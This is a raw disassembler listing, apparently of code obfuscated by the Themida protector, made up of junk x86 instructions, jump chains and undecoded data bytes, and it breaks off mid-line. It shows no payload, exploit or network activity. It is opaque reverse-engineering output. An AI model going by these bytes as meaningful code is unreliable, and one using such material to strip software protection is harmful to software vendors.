89000023h dd 0E952240Ch, 7BEh, 0C3CB815Dh, 0E950D91Bh, 0FFFFEA1Dh dd 0E9242C8Bh, 0FFFEFA9Bh ; --------------------------------------------------------------------------- loc_553CF8: ; CODE XREF: Themida_:00549649j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and ecx, edx jmp loc_552649 ; --------------------------------------------------------------------------- loc_553D0F: ; CODE XREF: Themida_:0055060Aj xor esi, eax xor eax, esi push esi jmp loc_54B163 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 1C8704EBh, 2C895C24h, 16E2BD24h, 0BBE95059h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553D33: ; CODE XREF: Themida_:0054E5D2j pop ebx or edi, 633703EEh and edi, 2A432E42h add edi, 23F13A2h and esi, edi pop edi shr esi, 3 neg esi and esi, 9234018h shr esi, 7 add esi, 0FFEDB984h sub esp, 4 mov [esp], ecx jmp loc_544187 ; --------------------------------------------------------------------------- dd 87653D05h, 4EC8331h, 0FF2168E9h db 0FFh byte_553D75 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005430BCo dd 6658669Dh, 9C240419h, 0FEF516E9h, 0EBE954FFh, 66FFFF46h dd 578ECD81h, 0BA665266h, 31667DCFh, 3981E9D5h, 0E8010000h dd 16126C05h, 6CE95D71h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553DAB: ; CODE XREF: Themida_:00556397j push edi jmp loc_55075A ; --------------------------------------------------------------------------- db 51h, 0B9h, 8Fh dd 0E958EC65h, 0FFFF89F6h ; --------------------------------------------------------------------------- loc_553DBC: ; CODE XREF: Themida_:0054C2D2j push 5772h jmp loc_557A2A ; --------------------------------------------------------------------------- aBqu_isf db '│О⌠!.iИ■',1Bh,0 db 0 ; --------------------------------------------------------------------------- loc_553DD1: ; CODE XREF: Themida_:005453F5j sub edi, 4F30FFB7h add edx, edi mov edi, [esp] jmp loc_54E725 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EB010000h, 4EB815Dh, 0E9000000h, 0FFFEF98Fh ; --------------------------------------------------------------------------- loc_553DF4: ; CODE XREF: Themida_:00552CEDj push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 35D1h mov [esp], edi push 46E066A3h jmp loc_5491E7 ; --------------------------------------------------------------------------- db 68h dd 1A294BBBh, 0AEC8E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E22: ; CODE XREF: Themida_:00553FDCj add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_550DAA ; --------------------------------------------------------------------------- loc_553E33: ; CODE XREF: Themida_:0054D903j pop edx push ecx pop eax pop ecx and eax, 4B1C214Ah jmp loc_54DEDF ; --------------------------------------------------------------------------- db 0BBh, 0D5h, 6 dd 76E909D4h, 0FFFFFF97h, 76E92434h, 81FFFF1Ah, 254DBCC5h dd 0AC14E955h, 481FFFFh, 0F0517B24h, 242C8B0Ah, 81595451h dd 4C1h, 4C18100h, 87000000h, 815C240Ch, 0F0517BEDh, 0F700E90Ah dd 0E1C1FFFFh, 0F846E902h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_553E8E: ; CODE XREF: Themida_:0055265Aj mov [esp], esi jmp loc_543302 ; --------------------------------------------------------------------------- dw 0A568h dd 8900006Dh, 0E9562404h, 0FFFF6F0Ah ; --------------------------------------------------------------------------- loc_553EA4: ; CODE XREF: Themida_:00550BE4j xor ecx, 25940D40h sub ecx, 253FA4B6h push ebp mov ebp, ecx mov eax, ebp pop ebp mov ecx, [esp] add esp, 4 add ecx, 68033F5Ch add ecx, eax sub esp, 4 mov [esp], edx mov edx, 0E7B1D8Dh sub edx, 1 push eax mov eax, 3E605A7Bh or edx, eax mov eax, [esp] jmp loc_555C77 ; --------------------------------------------------------------------------- dd 5ACFE681h, 0EEC173C9h, 0D4CE8104h, 81040F06h, 34EA71C6h dd 5EF5291Dh, 315DEA01h, 0DD895AD3h, 5DE8295Bh, 5627062Dh dd 5D8290Ch, 0C562706h, 8904EC83h, 0E789243Ch, 4C781h dd 0EF810000h, 4, 5C243C87h, 0BE243489h, 69D17A99h, 4225CE81h dd 0F6810177h, 6CBB5143h, 1223E681h, 0EEC17CBFh, 0DF68105h dd 110F64Bh, 24348BF0h, 13E468h, 241C8900h, 0C381E389h dd 4, 4BE56h, 0F3010000h, 0FF5CE9E9h, 240489FFh, 6F08CCB8h dd 58C20108h, 0FEFA0EE9h, 405FFh, 0C0830000h, 24048704h dd 0C1C3805Ch, 8015C380h, 95E9A1C3h, 5FFFFF9h, 4, 5C240487h dd 10B05066h, 5866C300h, 52ACEB80h, 0E9CEB050h, 0FFFF9D14h ; --------------------------------------------------------------------------- loc_553FBC: ; CODE XREF: Themida_:00547810j push 1 push dword ptr [esp] pop eax jmp loc_5475F2 ; --------------------------------------------------------------------------- loc_553FCA: ; CODE XREF: Themida_:005437CBj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_553E22 ; --------------------------------------------------------------------------- db 68h, 0D4h, 35h dd 0C890000h, 2414F724h, 81240C8Bh, 4C4h, 0C1814100h, 4F7A42Ah dd 0C8BC831h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 0FF079FE9h, 240C89FFh, 4B9h, 59CB8900h, 4563C681h, 0C6816D51h dd 4F623400h, 0EE81DE01h, 4F623400h, 4563EE81h, 9BE96D51h dd 54FFFF60h, 4C18159h, 83000000h, 0C8704C1h, 0EC835C24h dd 0C896602h, 3088B124h, 0DA5EE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55405E: ; CODE XREF: Themida_:00556FDDj add [esp+4], ebp pop ebp jmp loc_54B7AC ; --------------------------------------------------------------------------- dd 0F6BB534Fh, 1EAF4F2h, 0F9015BDFh, 4BD555Fh, 1000000h dd 2434FFE9h, 57242C8Bh, 0C781E789h, 4, 4BE56h, 0F7010000h dd 243C875Eh, 4C4815Ch, 87000000h, 815C240Ch, 4C4h, 2267E900h dd 0F1BE0000h, 81374851h, 2808E2E6h, 75BD5508h, 8138163Bh dd 0C11274E5h, 0E5C14531h, 0C5814503h, 0FB966E76h, 815DEE01h dd 0B29D70EEh, 5EF72922h, 0FFF456E9h, 52E3B1FFh, 0CAFE7EB2h dd 800BF280h, 59E9F6C2h, 54FFFF52h, 0A396E95Bh, 489FFFFh dd 23B6824h, 1C890000h, 0E9EAB324h, 0FFFF991Fh, 127BB951h dd 0ABE90E4Eh, 81FFFF97h, 80D153E9h, 0B74EE9FAh, 0FF51FFFFh dd 59042474h, 5C24048Fh, 0B5EB814Bh, 535149C1h, 19B0E95Dh dd 0BF570000h, 63102B23h, 4247C01h, 2404815Fh, 96455A2h dd 3FDCE9h, 8CC68100h, 29E580F0h, 2434FFF3h, 4C4815Eh dd 50000000h, 0FFBD2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_554169: ; CODE XREF: Themida_:0054FABEj mov edi, [esp] push eax mov eax, esp jmp loc_547F89 ; --------------------------------------------------------------------------- dd 0EE71E950h, 0F181FFFFh, 13F01333h, 1DE9CD31h, 81000018h dd 4C4h, 74FF5300h, 1C8B0424h, 4C48324h, 0E924048Fh, 0FFFF9805h dd 4B9h, 9F3CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5541AA: ; CODE XREF: Themida_:00549753j add esp, 4 mov edi, 4E5D4418h sub edi, 20242807h jmp loc_54ED50 ; --------------------------------------------------------------------------- dword_5541C0 dd 0D4E9028Fh ; DATA XREF: Themida_:005430B4o db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5541C7: ; CODE XREF: Themida_:0054C9B2j mov ebx, [esp] jmp loc_549D52 ; --------------------------------------------------------------------------- db 87h dd 248B240Ch, 3758E924h, 0E4C00000h, 36F48005h, 8674EC80h dd 86D3F6DCh, 6CCC80DCh, 0ECD0C4FEh, 8875EC80h, 0F8E958E7h dd 0B4FFFFB1h, 66E528D0h, 71F58058h, 0E928F580h, 0FFFF80EBh ; --------------------------------------------------------------------------- loc_55420C: ; CODE XREF: Themida_:0054E0E1j mov edx, 62D03B7Eh and edx, 66705D1Dh jmp loc_54DCAB ; --------------------------------------------------------------------------- dd 295AD189h, 815559CDh, 774A2404h, 81590E83h, 83774AE9h dd 0F1815D0Eh, 66E51367h, 8707E9C1h, 51E94BD9h, 57FFFF60h dd 0FF7F2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_554249: ; CODE XREF: Themida_:00548471j push edi mov edi, 7A3537FCh xor edi, 44125503h jmp loc_54CF6E ; --------------------------------------------------------------------------- dw 0F581h dd 7BFB1FC7h, 0FEFE22E9h db 0FFh ; --------------------------------------------------------------------------- loc_554265: ; CODE XREF: Themida_:00548D24j pop esp mov [esp], ebx jmp loc_554826 ; --------------------------------------------------------------------------- loc_55426E: ; CODE XREF: Themida_:00555652j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_544EF4 ; --------------------------------------------------------------------------- byte_554281 db 0ACh, 4, 5Eh ; DATA XREF: Themida_:005430F0o dd 0EBA5E952h, 815FFFFFh, 4C7h, 4C78100h, 57000000h, 42474FFh dd 24048F5Fh, 4EC835Ch, 83240C89h, 148904ECh, 0EE92E924h dd 0ED83FFFFh, 0E5CD81FFh, 5326F364h, 0E17766BBh, 245CE943h dd 0F381FFFFh, 6967028Ah, 0FFCFCEE9h, 92C381FFh, 14A0044h dd 92EB81F3h, 814A0044h, 0D3674EBh, 2434FF58h, 4C4835Eh dd 0FF39DAE9h, 0E9D989FFh, 0FFFF6748h, 5A240C89h, 0FF2434FFh dd 0ECE92434h, 33FFFFB9h, 0E95C2404h, 0FFFFB5ABh, 6057CA81h dd 0C2812878h, 0EB5E7D95h, 525AD309h, 0A44C91BAh, 1C2E944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55432A: ; CODE XREF: Themida_:00549FBCj add ebx, edi add ebx, 10093B43h add ebx, 0ABF0AF9h push edx mov edx, 1C71F42h jmp loc_54472F ; --------------------------------------------------------------------------- db 8Bh dd 2EE9242Ch db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55434B: ; CODE XREF: Themida_:005495FEj push dword ptr [esp] pop eax add esp, 4 shr esi, 3 jmp loc_5469D8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 66D82166h, 0F835665Bh, 0C2296604h, 0C2816658h, 8166198Ah dd 663F68C7h, 8166D701h, 5A3F68EFh, 67C78166h, 0FD89664Bh dd 2C91E9h, 1C8B5400h, 4C48324h, 11B1B951h, 7E93C5Eh db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55439F: ; CODE XREF: Themida_:00550E4Fj xor esi, 7B1943F7h inc esi inc esi sub esi, 43EC334Ah add esi, 425D3B4Bh or edx, esi jmp loc_555128 ; --------------------------------------------------------------------------- dw 36B9h dd 89144C0Ah, 0D60159CAh, 8E6C15Ah, 0EEE9D6F7h, 66FFFF3Bh dd 1056658h, 0E0C16612h, 0D8F76608h, 2E8C166h, 0E902EC83h dd 0FFFFDD9Ch, 33241C31h, 665C241Ch, 53240C8Bh, 0FF4143E9h db 0FFh byte_5543F9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00543104o dd 0E1895159h, 4C181h, 0E9810000h, 4, 8B240C87h, 4892424h dd 68E08924h, 6243h, 0FEF073E9h db 0FFh ; --------------------------------------------------------------------------- loc_554421: ; CODE XREF: Themida_:00551AE7j mov eax, 1E390B58h jmp loc_54B750 ; --------------------------------------------------------------------------- db 68h dd 2D51h, 81242489h, 42404h, 525B0000h, 261668BAh, 9EE9573Bh db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554447: ; CODE XREF: Themida_:00550345j add ebp, 1064D13Bh mov ecx, ebp mov ebp, [esp] jmp loc_550C3C ; --------------------------------------------------------------------------- loc_554457: ; CODE XREF: Themida_:00550628j push dword ptr [esp+4] jmp loc_543C15 ; --------------------------------------------------------------------------- dd 1A6F6EB9h, 2E9C14Fh, 4B9B68h, 24048900h, 0FFD4F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_554475: ; CODE XREF: Themida_:00545D1Fj mov edi, 35A42592h jmp loc_54FD2E ; --------------------------------------------------------------------------- loc_55447F: ; CODE XREF: Themida_:00556809j pop ecx jmp loc_5583AD ; --------------------------------------------------------------------------- loc_554485: ; CODE XREF: Themida_:0055753Bj xor edi, [esp] mov esp, [esp] xor [esp+4], ebp pop ebp push dword ptr [esp] pop eax jmp loc_549053 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 5F2E924h, 2BA0000h, 0E9000000h, 0FFFFE764h, 0B7E3E950h dd 34FFFFFFh, 22D1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5544BA: ; CODE XREF: Themida_:00550F6Cj add esp, 4 push ebp mov ebp, esp jmp loc_545419 ; --------------------------------------------------------------------------- loc_5544C8: ; CODE XREF: Themida_:00555EA7j or edi, 2DE46E10h and edi, 1BCC094Bh push eax mov eax, 379B6736h xor edi, eax pop eax inc edi sub edi, 0E6F21CFDh jmp loc_54C457 ; --------------------------------------------------------------------------- db 5Fh, 87h, 2Ch dd 1C895C24h, 57E38924h, 7B506853h, 0C15B5004h, 0EBC106E3h dd 0A4F38105h, 890008F6h, 0F23DE9DFh, 0C483FFFEh, 47CE8002h dd 8086EE80h, 0A1E941C6h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55451F: ; CODE XREF: Themida_:0054DE94j add ebp, 61FB286Ch add ebp, edi sub ebp, 61FB286Ch sub ebp, 1EED4D5Bh pop edi add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_5491B0 ; --------------------------------------------------------------------------- db 81h, 0EDh, 34h dd 2921ABF5h, 0DE015DEEh, 6744C681h, 0C6817C02h, 644E3E12h dd 0A7B8505Bh, 506F3351h, 582414F7h, 0FF2D1AE9h, 24048BFFh dd 4C481h, 4050000h, 51000000h, 4B9h, 59C80100h, 31240433h dd 4332404h, 24248B24h, 16CA68h, 1C18E900h, 3487FFFFh dd 241C8B24h, 0FF6CA7E9h, 15C781FFh, 0C10FBE2Bh, 0F78104EFh dd 22D7221Dh, 2110C781h, 0F82924C3h, 0E9243C8Bh, 0FFFF2BB4h dd 4D98685Ch, 3DE90000h, 83FFFF08h, 56E904ECh, 68FFFF7Eh dd 77A1h, 0B8240489h, 770E3252h, 0FF6749E9h, 14875CFFh dd 1F685C24h, 89000031h, 68502414h, 3305h, 51241489h, 2055C0B9h dd 2E59BA43h, 3AE96864h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55460F: ; CODE XREF: Themida_:0054F278j add eax, ebx add eax, 7EAC605Eh jmp loc_556DA1 ; --------------------------------------------------------------------------- byte_55461B db 0ACh ; DATA XREF: Themida_:0054305Co dd 5366F904h, 0B75CB151h, 0C6EF80AFh, 0BDE9DFF6h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55462F: ; CODE XREF: Themida_:00548D9Fj xchg ebx, [esp] jmp loc_548BCB ; --------------------------------------------------------------------------- db 42h dd 3B2BB53h, 16E9AB73h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554643: ; CODE XREF: Themida_:0054A2BFj mov [esp], esi jmp loc_54FA68 ; --------------------------------------------------------------------------- db 5Fh dd 0FF9DDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_554651: ; CODE XREF: Themida_:00546350j pop ebx sub ebp, 71495D80h jmp loc_545A0A ; --------------------------------------------------------------------------- byte_55465D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00543228o db '$h╬+',0 align 2 dw 3C89h dd 34FF5424h, 0A141E924h, 35FFFFh, 0E9001209h, 0FFFF3ACBh dd 4EBE5657h, 81584D74h, 7B3D7BE6h, 8E6C172h, 0DAEE8146h dd 0E9195FD2h, 0FFFEEC5Fh ; --------------------------------------------------------------------------- loc_554698: ; CODE XREF: Themida_:0054E477j pop ebp jmp loc_54D19F ; --------------------------------------------------------------------------- loc_55469E: ; CODE XREF: Themida_:00547EB9j mov esi, edi pop edi xchg edi, esi not edi jmp loc_54390A ; --------------------------------------------------------------------------- dw 0C281h dd 4, 5204EA83h, 42474FFh, 5002E95Ah, 5A57FFFFh, 3BEE815Fh dd 81358D58h, 0C73A5EEh, 0CAC68154h, 5341A344h, 15566BBBh dd 0DFE94B33h, 89FFFFCEh, 0EDB951E5h, 81553067h, 787EBEE9h dd 8DE98163h, 813C253Fh, 0A57CF0E9h, 6015E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5546FE: ; CODE XREF: Themida_:0055805Bj add ecx, 4 sub esp, 4 mov [esp], eax jmp loc_545948 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24248900h, 4240483h, 6853515Bh, 6B677DEFh, 2EBC15Bh dd 748FC381h, 0E3C13A56h, 3CEB8105h, 89A60A81h, 0FFE95BD9h dd 5AFFFF8Dh, 4C281h, 0C2810000h, 4, 0FF5409E9h db 0FFh ; --------------------------------------------------------------------------- loc_554751: ; CODE XREF: Themida_:00547008j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_548C44 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 1000000h, 34335DEEh, 4E1DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554776: ; CODE XREF: Themida_:00557375j mov edx, [esp] add esp, 4 push ecx mov ecx, 4 add edx, ecx jmp loc_54458D ; --------------------------------------------------------------------------- db 29h, 0C6h, 58h dd 0C681DE01h, 7C112E13h, 0FFD0C6E9h, 12C681FFh, 31CFBCC4h dd 24348BF2h, 124CE9h, 240C8900h, 522368h, 1956E900h, 0EC81FFFFh dd 4, 89243489h, 9FBE9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5547C6: ; CODE XREF: Themida_:0054EC02j add ebx, 4 xchg ebx, [esp] pop esp push ecx mov ecx, 4D5D7490h sub esi, ecx mov ecx, [esp] add esp, 4 shl esi, 3 shr esi, 2 push 6F1Eh mov [esp], edx push ecx jmp loc_54CCD3 ; --------------------------------------------------------------------------- db 89h dd 381EE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5547F6: ; CODE XREF: Themida_:005555BBj sub esi, 20B224h mov ecx, esi pop esi add edx, ecx push dword ptr [esp] jmp loc_548F11 ; --------------------------------------------------------------------------- loc_554809: ; CODE XREF: Themida_:0054BD45j mov ebp, 15E3681Ch sub ecx, ebp pop ebp jmp loc_557430 ; --------------------------------------------------------------------------- loc_554816: ; CODE XREF: Themida_:00557318j mov [esp], ecx mov ecx, 1682290Bh inc ecx push edi push esp jmp loc_543E03 ; --------------------------------------------------------------------------- loc_554826: ; CODE XREF: Themida_:00554269j mov bl, 0A5h or al, bl mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub al, 4Eh jmp loc_54FC2B ; --------------------------------------------------------------------------- dd 8B24048Fh, 0A8E92424h, 0C100000Ch, 0C78103EFh, 0F17653CCh dd 3C8BF901h, 4C48124h, 83000000h, 0C8704E9h, 3C895C24h dd 6AE95324h, 8BFFFF8Dh, 1C892424h, 0FB0FE924h, 0C8BFFFFh dd 509FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554886: ; CODE XREF: Themida_:00545828j mov cl, 0DFh inc cl push ecx not byte ptr [esp] pop ecx dec cl jmp loc_5579F7 ; --------------------------------------------------------------------------- dw 4A68h dd 8900007Bh, 53572434h, 0FF01E1E9h, 241489FFh, 22C1E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5548AE: ; CODE XREF: Themida_:00554E93j add ecx, 591F2C4Dh pop esi sub ecx, 4 jmp loc_543487 ; --------------------------------------------------------------------------- dd 4BBh, 5BDA0100h, 4C281h, 14870000h, 0E9525C24h, 29DAh dd 0DDE93904h db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5548DF: ; CODE XREF: Themida_:00544704j and eax, ebp mov ebp, [esp] push 2DF6h jmp loc_54D09F ; --------------------------------------------------------------------------- dw 2BBh dd 29000000h, 5FE95BD8h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5548FB: ; CODE XREF: Themida_:00556A20j pop edi sub esp, 4 mov [esp], edx push ebx jmp loc_54FAF4 ; --------------------------------------------------------------------------- dd 0EE81C629h, 1B4B4C68h, 2804C681h, 0E9586B2Bh, 0FFFF2692h ; --------------------------------------------------------------------------- loc_55491C: ; CODE XREF: Themida_:00555C43j mov ebx, 4 jmp loc_550624 ; --------------------------------------------------------------------------- dw 0F12Dh dd 0FF2B0954h, 575D2434h, 5253E789h, 0A01661BAh, 0BD39E958h dd 5745FFFFh, 0B04829BFh, 5FFD313Eh, 0ED81DDF7h, 0C97D1791h dd 0A4E9EB01h, 52FFFF4Bh, 0C281E289h, 4, 4C281h, 0CEE90000h dd 68000011h, 505h, 0B1240C89h, 2CC5h, 590004C8h, 83240C8Bh dd 0C33004C4h, 0E9C0B60Fh, 2A7Ch, 89240C89h, 4C181E1h dd 81000000h, 4C1h, 74FF5100h, 8F590424h, 248B2404h, 4C58124h dd 51000000h, 0FF2093E9h, 0DAB2FFh, 24148BD0h, 6604C483h dd 0ACBCE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5549C6: ; CODE XREF: Themida_:005521EEj sub ecx, 217E175Ch sub ecx, 2CD32357h mov ebp, [esp] add esp, 4 and eax, ecx mov ecx, [esp] push eax jmp loc_555A08 ; --------------------------------------------------------------------------- loc_5549E6: ; CODE XREF: Themida_:0054E48Bj mov [esp], ebx push 2712h mov [esp], esi push dword ptr [esp] pop ebx add esp, 4 jmp loc_54B6BC ; --------------------------------------------------------------------------- dd 1E599DBAh, 79CA816Fh, 814B933Dh, 6B57EBC2h, 6C44E93Fh dd 0C3B0FFFFh, 0BF2CD204h, 5058C630h, 0B4E99AB0h, 5A00001Ch dd 72796853h, 1C8B5E9Dh, 4C48324h, 9C49B951h, 65E9D550h dd 29000001h, 3E981D9h, 8B54F719h, 0C481241Ch, 4, 0FF3D5AE9h db 0FFh byte_554A55 db 0FFh, 32h, 0E9h ; DATA XREF: Themida_:0054308Co dd 0FFFEE83Fh, 2E4D82BBh, 8A67E921h, 0C483FFFFh, 0A947E904h dd 248BFFFFh, 24042924h, 0E821E99Ch, 0F781FFFEh, 7A204804h dd 0CE56F781h, 33E9C654h, 5BFFFFFCh, 0E9241C8Bh, 0FFFF1E46h dd 4BF57h, 0BD550000h, 58E8236Fh, 8246C29h, 247C015Dh dd 24448104h, 0E8236F04h, 685B5F58h, 2409h, 0FFAEE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_554ABD: ; CODE XREF: Themida_:0054E5A7j pop dword ptr [esp] xor edx, esi xor esi, edx jmp loc_54B618 ; --------------------------------------------------------------------------- loc_554AC9: ; CODE XREF: Themida_:00555A43j mov esi, 0 add esi, 0F4F01EAh sub esi, edx jmp loc_54D5F6 ; --------------------------------------------------------------------------- db 83h dd 895604C4h, 4C681E6h, 51000000h, 0E79E950h, 248BFFFFh dd 242CD224h, 0E7A1E99Ch, 0E956FFFEh, 0FFFFE1ACh, 33E9F000h dd 68FFFF5Ch, 6955h, 0FFC90EE9h, 0E9D000FFh, 3423h dword_554B18 dd 240C8B66h, 4EC81h, 3C890000h, 68E78924h, 43D8h, 0FF474BE9h ; DATA XREF: Themida_:005430F4o dd 0DAE381FFh, 553A6063h, 0B63006BDh, 99F5813Ch, 29CB3B32h dd 0E2E95DEBh db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B4B: ; CODE XREF: Themida_:00554F46j add esi, edi pop edi jmp loc_546BE2 ; --------------------------------------------------------------------------- db 81h dd 797C30C3h, 0EBC3810Eh, 151AC1Eh, 0EBEB81CBh, 8151AC1Eh dd 797C30EBh, 0C383590Eh, 0CDC1E904h, 5053FFFFh, 98176FB8h dd 0E9974865h, 0FFFF31E9h ; --------------------------------------------------------------------------- loc_554B84: ; CODE XREF: Themida_:0054C72Fj mov [esp], edi mov edi, 230015E3h add edx, edi jmp loc_557ED6 ; --------------------------------------------------------------------------- loc_554B93: ; CODE XREF: Themida_:00548E20j add edx, 0B5E5C84h mov ebx, [esp] add esp, 4 jmp loc_54BF26 ; --------------------------------------------------------------------------- dd 0B9E9CB01h, 0F7FFFF32h, 34FF2414h, 0E9515D24h, 0FFFF9990h dd 5FF9015Dh, 659F68h, 24048900h, 2B8h, 0E9C10100h, 0FFFF0159h dd 24048966h, 0FEE6C2E9h, 4B9FFh, 0CB010000h, 4C38159h dd 0E9000000h, 0FFFF6CF1h, 4EC81h, 4890000h, 445A6824h dd 34890000h, 0E81FE924h, 4BAFFFFh, 0E9000000h, 0FFFF3E35h dd 8E9E189h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C13: ; CODE XREF: Themida_:00550965j add ecx, 4 sub ecx, 4 jmp loc_54BB27 ; --------------------------------------------------------------------------- loc_554C24: ; CODE XREF: Themida_:0054D52Cj push dword ptr [esp] pop edx jmp loc_54D677 ; --------------------------------------------------------------------------- db 54h, 59h, 81h dd 4C1h, 5BBE5600h, 0C11AAB39h, 0EC8302E6h, 243C8904h dd 0FFE290E9h, 8BF101FFh, 0C4832434h, 240C8704h, 0E924248Bh dd 0FFFF55EEh, 4B850h, 0C2010000h, 1083E9h db 0 ; --------------------------------------------------------------------------- loc_554C69: ; CODE XREF: Themida_:0054D309j sub ebp, ecx add ebp, 2FC66DAEh sub esp, 4 mov [esp], edx mov edx, 21B43BBEh jmp loc_54CB3D ; --------------------------------------------------------------------------- db 2Ch, 90h, 51h dd 0E98036B1h, 0BBC18020h, 0CB885366h, 0CCE9D3F6h, 87FFFF0Eh dd 1E9241Ch, 89FFFF59h, 1BE9241Ch db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554CA7: ; CODE XREF: Themida_:0054BA99j mov edx, ebx pop ebx sub esi, edx push dword ptr [esp] pop edx add esp, 4 push eax mov eax, 1 jmp loc_556AF7 ; --------------------------------------------------------------------------- db 29h, 7Ch, 24h dd 4EB85008h, 17EBF75h, 580C2444h, 0D99BD55h, 6C015C7Ah dd 5F5D0C24h, 4244481h, 66762E30h, 4244481h, 5CD56A3Ah dd 0FFA237E9h, 55E95CFFh, 31FFFFE5h, 34332434h, 24248B24h dd 8904EC83h, 5D54242Ch, 32E5BF57h, 0B8503BA5h, 324D6102h dd 0E958C709h, 0FFFF4550h, 0FFD9895Ah, 9CE92434h, 5FFFF40h dd 5D9A5D81h, 0E41C4105h, 6D2B6860h, 0C890000h, 497BB924h dd 0E1C138FCh, 6F18106h, 135565Fh, 545559C8h, 0B7EDE95Dh dd 0C280FFFFh, 8C15E921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D5A: ; CODE XREF: Themida_:00555A0Aj add eax, 4 add eax, 4 xchg eax, [esp] pop esp shr eax, 10h xor eax, ecx xor eax, edx xor edx, eax xor eax, edx jmp loc_550B24 ; --------------------------------------------------------------------------- loc_554D76: ; CODE XREF: Themida_:0054329Fj mov [esp], ecx mov ch, 79h push ebx mov bl, 9Eh add bl, 44h xor bl, 1Ah jmp loc_544C74 ; --------------------------------------------------------------------------- loc_554D89: ; CODE XREF: Themida_:00551171j pop esi add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54F164 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 52240C89h, 8850DE88h, 1C64E9F4h, 8F59FFFFh, 248B2404h dd 4175E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554DB6: ; CODE XREF: Themida_:0054C1FAj add ecx, 4 xchg ecx, [esp] pop esp add esi, 4 push 2D4Ah mov [esp], ecx push 7A5Eh mov [esp], eax mov eax, 1BE948F1h mov ecx, 1BE948F5h xor ecx, eax mov eax, [esp] push 39F6h mov [esp], edi mov edi, esp jmp loc_54C36A ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 0E924248Bh, 0FFFEF2D5h, 8904EC83h, 0E0892404h, 405h dd 4E88300h, 0E9240487h, 0FFFFBA57h, 68241C89h, 44D361C2h dd 0FF993EE9h db 0FFh byte_554E21 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00542FBCo dd 33CDE924h, 0BB53FFFFh, 0F9C4143Ah, 0B3E9D929h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554E37: ; CODE XREF: Themida_:0054C6BFj add esp, 4 push 6ADAh jmp loc_54D346 ; --------------------------------------------------------------------------- db 29h dd 3575E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554E4E: ; CODE XREF: Themida_:00546C0Cj mov bl, 0D9h sub dl, bl pop bx jmp loc_543388 ; --------------------------------------------------------------------------- db 0BEh, 0AAh, 43h dd 0B7E90CBFh, 68FFFF15h, 60E3h, 68241C89h, 33BCh, 68241489h dd 3AD3h, 68240489h, 24B60944h, 0FFC8F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_554E85: ; CODE XREF: Themida_:005439A9j sub esi, 0F8EADBFEh sub ecx, 591F2C4Dh add ecx, esi jmp loc_5548AE ; --------------------------------------------------------------------------- dd 2FEB850h, 0C5896B46h, 5DE80158h, 8904EC83h, 5268240Ch dd 89000014h, 9DBD242Ch, 0E909BF56h, 0FFFFFF40h, 72E1E953h dd 895AFFFFh, 1D8E9E9h, 1C89FFFFh, 0DF2DE924h, 8143FFFFh dd 0E108ACEBh, 0E9D3F71Ch, 0FFFFE7B8h, 10E36855h, 